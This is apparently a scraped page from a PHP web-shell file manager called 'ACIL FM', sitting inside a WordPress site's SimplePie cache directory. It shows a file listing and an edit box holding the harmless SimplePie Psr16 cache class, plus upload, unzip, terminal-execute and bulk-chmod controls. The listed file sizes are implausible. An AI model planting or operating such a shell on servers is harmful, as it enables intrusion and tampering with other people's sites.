ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-includes/SimplePie/src/Cache
/
home
mhhtmff
www
site
wp-includes
SimplePie
src
Cache
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Base.php
1.83 MB
chmod
View
DL
Edit
Rename
Delete
BaseDataCache.php
3.5 MB
chmod
View
DL
Edit
Rename
Delete
CallableNameFilter.php
1.48 MB
chmod
View
DL
Edit
Rename
Delete
DataCache.php
2.73 MB
chmod
View
DL
Edit
Rename
Delete
DB.php
3.62 MB
chmod
View
DL
Edit
Rename
Delete
File.php
2.91 MB
chmod
View
DL
Edit
Rename
Delete
Memcache.php
3.63 MB
chmod
View
DL
Edit
Rename
Delete
Memcached.php
3.74 MB
chmod
View
DL
Edit
Rename
Delete
MySQL.php
13.38 MB
chmod
View
DL
Edit
Rename
Delete
NameFilter.php
1.15 MB
chmod
View
DL
Edit
Rename
Delete
Psr16.php
3.18 MB
chmod
View
DL
Edit
Rename
Delete
Redis.php
4.2 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-includes/SimplePie/src/Cache/Psr16.php
<?php // SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue // SPDX-License-Identifier: BSD-3-Clause declare(strict_types=1); namespace SimplePie\Cache; use Psr\SimpleCache\CacheInterface; use Psr\SimpleCache\InvalidArgumentException; use Throwable; /** * Caches data into a PSR-16 cache implementation * * @internal */ final class Psr16 implements DataCache { /** * PSR-16 cache implementation * * @var CacheInterface */ private $cache; /** * PSR-16 cache implementation * * @param CacheInterface $cache */ public function __construct(CacheInterface $cache) { $this->cache = $cache; } /** * Fetches a value from the cache. * * Equivalent to \Psr\SimpleCache\CacheInterface::get() * <code> * public function get(string $key, mixed $default = null): mixed; * </code> * * @param string $key The unique key of this item in the cache. * @param mixed $default Default value to return if the key does not exist. * * @return array|mixed The value of the item from the cache, or $default in case of cache miss. * * @throws InvalidArgumentException&Throwable * MUST be thrown if the $key string is not a legal value. */ public function get_data(string $key, $default = null) { $data = $this->cache->get($key, $default); if (!is_array($data) || $data === $default) { return $default; } return $data; } /** * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time. * * Equivalent to \Psr\SimpleCache\CacheInterface::set() * <code> * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool; * </code> * * @param string $key The key of the item to store. * @param array<mixed> $value The value of the item to store, must be serializable. * @param null|int $ttl Optional. The TTL value of this item. If no value is sent and * the driver supports TTL then the library may set a default value * for it or let the driver take care of that. * * @return bool True on success and false on failure. * * @throws InvalidArgumentException&Throwable * MUST be thrown if the $key string is not a legal value. */ public function set_data(string $key, array $value, ?int $ttl = null): bool { return $this->cache->set($key, $value, $ttl); } /** * Delete an item from the cache by its unique key. * * Equivalent to \Psr\SimpleCache\CacheInterface::delete() * <code> * public function delete(string $key): bool; * </code> * * @param string $key The unique cache key of the item to delete. * * @return bool True if the item was successfully removed. False if there was an error. * * @throws InvalidArgumentException&Throwable * MUST be thrown if the $key string is not a legal value. */ public function delete_data(string $key): bool { return $this->cache->delete($key); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply